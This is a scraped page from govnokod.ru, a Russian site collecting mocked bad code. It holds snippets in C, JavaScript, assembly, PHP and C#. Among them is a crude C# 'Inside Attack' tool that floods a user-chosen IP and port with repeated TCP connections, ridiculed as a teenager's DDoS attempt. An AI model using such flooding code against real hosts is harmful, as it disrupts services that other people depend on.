- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
void a()
{
}
void b()
{
return a();
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−51
void a()
{
}
void b()
{
return a();
}
Компилится.
http://ideone.com/8eP1w
+152
String.prototype.startsWith=function(b){
if(this.length<b.length){
return false
}
for(var a=0;a<b.length;++a){
if(this.charAt(a)!==b.charAt(a)){
return false
}
}
return true
};
String.prototype.endsWith=function(b){
if(this.length<b.length){
return false
}
var c=b.length-1;
for(var a=this.length-1;a>this.length-1-b.length;--a){
if(b.charAt(c--)!==this.charAt(a)){
return false
}
}
return true
};
String.prototype.contains=function(a){
return this.indexOf(a)!==-1
};
String.prototype.LastIndexOf=function(d,c){
if(this.length===0||d===null){
return -1
}
if(d.length>this.length){
return -1
}
if(isNaN(c)){
c=this.length-d.length
}
var a=false;
for(var b=c;b>=0;--b){
a=true;
for(var e=0;e<d.length;++e){
if(this.charAt(b+e)!==d.charAt(e)){
a=false;
break
}
}
if(a){
return b
}
}
return -1
};
String.prototype.LastIndexOf_char=function(a){
for(var b=this.length-1;b>=0;--b){
if(this.charAt(b)===a){
return b
}
}
return -1
};
String.prototype.setCharAt=function(b,a){
if(b>this.length-1){
return str
}
return this.substr(0,b)+a+this.substr(b+1)
};
String.prototype.countCharAppearances=function(a){
var b=0;
for(var c=0;c<this.length;++c){
if(this.charAt(c)==a){
++b
}
}
return b
};
Сорри, что много буков, но тут каждую функцию можно воспринимать как отдельное произведение.
Разбираю бред какого-то безымянного идиота :(
−43
int eger;
+972
private static void Main(string[] args)
{
Label_0000:
Console.ForegroundColor = ConsoleColor.Green;
Console.Title = "Inside Attack By XCrackers, Flood And Crash System!!";
Console.Write("*******************************************************************************\nINSIDE ATTACK , CHECK SYSTEM , FLOOD FIREWALL AND SERVER , CRASH THE SYSTEM\nINSIDE ATTACK , CHECK SYSTEM , FLOOD FIREWALL AND SERVER , CRASH THE SYSTEM\nINSIDE ATTACK , CHECK SYSTEM , FLOOD FIREWALL AND SERVER , CRASH THE SYSTEM\n\n\nBY XCR, AND SYSTEMCHECH GLOBALS\nBY XCR, AND SYSTEMCHECH GLOBALS\nBY XCR, AND SYSTEMCHECH GLOBALS\n\n\nFOR CONTACT:\n\nSKYPE: roeeko10\n\nMSN: [email protected]\n\nSimple, Just Add Me For New UPDATE....\n*******************************************************************************\n\n");
Console.Write("\n1) Inside.Attack, Flooding\n2) Exit\n\n");
Console.Write("Your Choise : ");
switch (int.Parse(Console.ReadLine()))
{
case 1:
{
Console.Write("\nEnter IP Address : ");
string ipString = Console.ReadLine();
Console.Write("\nPort : ");
int port = int.Parse(Console.ReadLine());
Console.Write("\nProtocol Tcp/Udp : ");
Console.ReadLine();
Console.Write("\nHow Much Request ? : ");
int num3 = int.Parse(Console.ReadLine());
byte[] bytes = Encoding.ASCII.GetBytes("abcdefghlkmnopzrstws!!$@$545$%2d21df3s");
try
{
for (int i = 0; i < num3; i++)
{
sck = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
IPEndPoint remoteEP = new IPEndPoint(IPAddress.Parse(ipString), port);
sck.SendTimeout = 1;
sck.Connect(remoteEP);
sck.SendTo(bytes, remoteEP);
Console.WriteLine("[*]Inside.Attack, Syn Request : {0} Data Bytes : 1956 BYTE Every 0.3 Sec ", i);
}
}
catch
{
Console.WriteLine("Cannot Connected To The Host ......");
Console.ReadLine();
}
Console.WriteLine("[+]Inside Attack Sucsess.!! All The Syn Request And The Data Byte Was Sent !! <ANT KEY FOR CONTINUE>");
Console.ReadKey();
goto Label_0000;
}
case 2:
return;
}
Console.Clear();
Console.WriteLine("Incorrect Choose!! . Please Choose 1/2.\n\n");
goto Label_0000;
}
Код 13-и летнего кулхацкера. "Это ДДОС посоны".
+149
org 100h
Begin:
call FPU_init
fild [Number] ;сложение
fidiv [Number2] ;деление
frndint ;округление (в сторону нуля-
call Ar_prog ;т. к. регистр RC установлен в 11)
fimul [Number2]
fild [Number]
fisub [Number10]
fidiv [Number3]
frndint
call Ar_prog
fimul [Number3]
fild [Number]
fidiv [Number4]
frndint
call Ar_prog
fimul [Number4]
fincstp
fincstp
fadd st0, st2
fsub st0, st6
fist [Number9]
call FPU_init
fild [Number5]
xor cx,cx
Out1:
fild [Number9] ;помещаем значение, полученное после вычитания
inc cx ;увеличиваем cx
fcom st1 ;сравниваем значение с 10
fstsw [Number14]
mov ax, [Number14]
sahf
jb Out2 ;если меньше 10, перейти к Out2
fdiv st0,st1 ;делим на 10
frndint ;округляем
fistp [Number12] ;результат - в Number12
fild [Number9] ;снова загружаем
fprem ;остаток от деления на 10
fiadd [Number15] ;прибавляем 30h
fistp [Number13] ;выгружаем в память
push [Number13] ;толкаем в стек
fild [Number12] ;результат деления - в Number9
fistp [Number9]
jmp Out1 ;цикл
Out2:
mov di, String ;записываем смещение строки
fiadd [Number15]
fist [Number13]
push [Number13]
Out3:
pop dx ;выталкиваем коды цифр, начиная с конца
mov [di],dl ;записываем их в строку
inc di ;увеличиваем смещение
loop Out3 ;повторяем это
mov [di], byte 24h ;записываем код конца строки для вывода
mov dx, String ;записываем смещение строки в
mov ah, 09h ;вызываем прерывание
int 21h
int 20h
Ar_prog:
fist [Number9]
fimul [Number9]
fild [Number9]
fadd st0,st1
fidiv [Number8]
frndint
ret
FPU_init:
finit ;инициализация сопроцессора
fstcw [Number6] ;получение контрольного слова
mov ax, [Number7] ;установка десятого и одиннадцатого
or [Number6], ax ;битов слова в 11 (можно две команды bts)
fldcw [Number6] ;загрузка контрольного слова в FPU
ret
Number dw 1000d
Number2 dd 3d
Number3 dw 5d
Number4 dw 15d
Number5 dw 10d
Number6 dw ?
Number7 dw 0c00h
Number8 dw 2d
Number9 dd ?
Number10 dw 1d
Number11 db 30h
Number12 dd ?
Number13 dw ?
Number14 dw ?
Number15 dd 0030h
String db ?
Первый в жизни осмысленный код. Я нормален?
+170
// convert ',' to '.'
public static function ConvertDecimal($num) {
$num = preg_replace('/,/i', '.', $num);
//check if is number after convertion
if (is_numeric($num))
return $num;
return false;
}
у автора было суровое детство
+149
$message = array(
'Message from blablabla',
'',
'Name: '.$_POST['name'],
'Title: '.$_POST['title'],
'City, State: '.$_POST['city'],
'Enrollment: '.$_POST['enrol'],
'Email: '.$_POST['email'],
'Phone: '.$_POST['phone'],
);
$body = implode('<br>',$message);
Чувак, вроде опытный программист, в 2006 году написал сие произведение искусства:
+164
$str="T:/home//localhost///MyScripts/////";
$pos=strpos($str,"//");
while($pos!=false)
{
$str=str_replace("//","/",$str);
$pos=strpos($str,"//");
}
функция удаляет повторяющиеся слэши в строке
+185
<?php
for ($i=1;$i<=31;$i++) { // дни
for ($j=1;$j<=12;$j++) { // месяцы
for ($k=70;$k<=99;$k++) { // годы
$i0=$i; // сохраняем оригинальные значения
$j0=$j; // переменных i и j
if ($i=1) { $i="01"; }
if ($i=2) { $i="02"; }
if ($i=3) { $i="03"; }
if ($i=4) { $i="04"; } // конвертируем их значения
if ($i=5) { $i="05"; } // в двухзначную форму
if ($i=6) { $i="06"; }
if ($i=7) { $i="07"; }
if ($i=8) { $i="08"; }
if ($i=9) { $i="09"; }
if ($j=1) { $j="01"; }
if ($j=2) { $j="02"; }
if ($j=3) { $j="03"; }
if ($j=4) { $j="04"; }
if ($j=5) { $j="05"; }
if ($j=6) { $j="06"; }
if ($j=7) { $j="07"; }
if ($j=8) { $j="08"; }
if ($j=9) { $j="09"; }
echo("$i$j$k<br>"); // выводим дату: число-месяц-год (год двузначный с 70 по 99)
$i=$i0; // востанавливаем оригинальные
$j=$j0; // значения переменных i и j
}}}
for ($i=1;$i<=12;$i++) {
for ($j=13;$j<=31;$j++) { // начинаем с 13 чтобы не повторяться в датах
for ($k=70;$k<=99;$k++) {
$i0=$i;
$j0=$j;
if ($i=1) { $i="01"; }
if ($i=2) { $i="02"; }
if ($i=3) { $i="03"; }
if ($i=4) { $i="04"; }
if ($i=5) { $i="05"; }
if ($i=6) { $i="06"; }
if ($i=7) { $i="07"; }
if ($i=8) { $i="08"; }
if ($i=9) { $i="09"; }
if ($j=1) { $j="01"; }
if ($j=2) { $j="02"; }
if ($j=3) { $j="03"; }
if ($j=4) { $j="04"; }
if ($j=5) { $j="05"; }
if ($j=6) { $j="06"; }
if ($j=7) { $j="07"; }
if ($j=8) { $j="08"; }
if ($j=9) { $j="09"; }
echo("$i$j$k<br>"); // дата: месяц-число-год (год двузначный с 70 по 99)
$i=$i0;
$j=$j0;
}}}
for ($i=1;$i<=31;$i++) {
for ($j=1;$j<=12;$j++) {
for ($k=0;$k<=12;$k++) {
$i0=$i;
$j0=$j;
$k0=$k;
if ($i=1) { $i="01"; }
if ($i=2) { $i="02"; }
if ($i=3) { $i="03"; }
if ($i=4) { $i="04"; }
if ($i=5) { $i="05"; }
if ($i=6) { $i="06"; }
if ($i=7) { $i="07"; }
if ($i=8) { $i="08"; }
if ($i=9) { $i="09"; }
if ($j=1) { $j="01"; }
if ($j=2) { $j="02"; }
if ($j=3) { $j="03"; }
if ($j=4) { $j="04"; }
if ($j=5) { $j="05"; }
if ($j=6) { $j="06"; }
if ($j=7) { $j="07"; }
if ($j=8) { $j="08"; }
if ($j=9) { $j="09"; }
if ($k=0) { $k="00"; }
http://www.php.ru/forum/viewtopic.php?t=30748
+232
echo "Для разлагинивания почистите куки браузером.<br>";
Взяли новичка на испытательный срок. При нажатии на кнопку "Выход" наблюдаю данную надпись.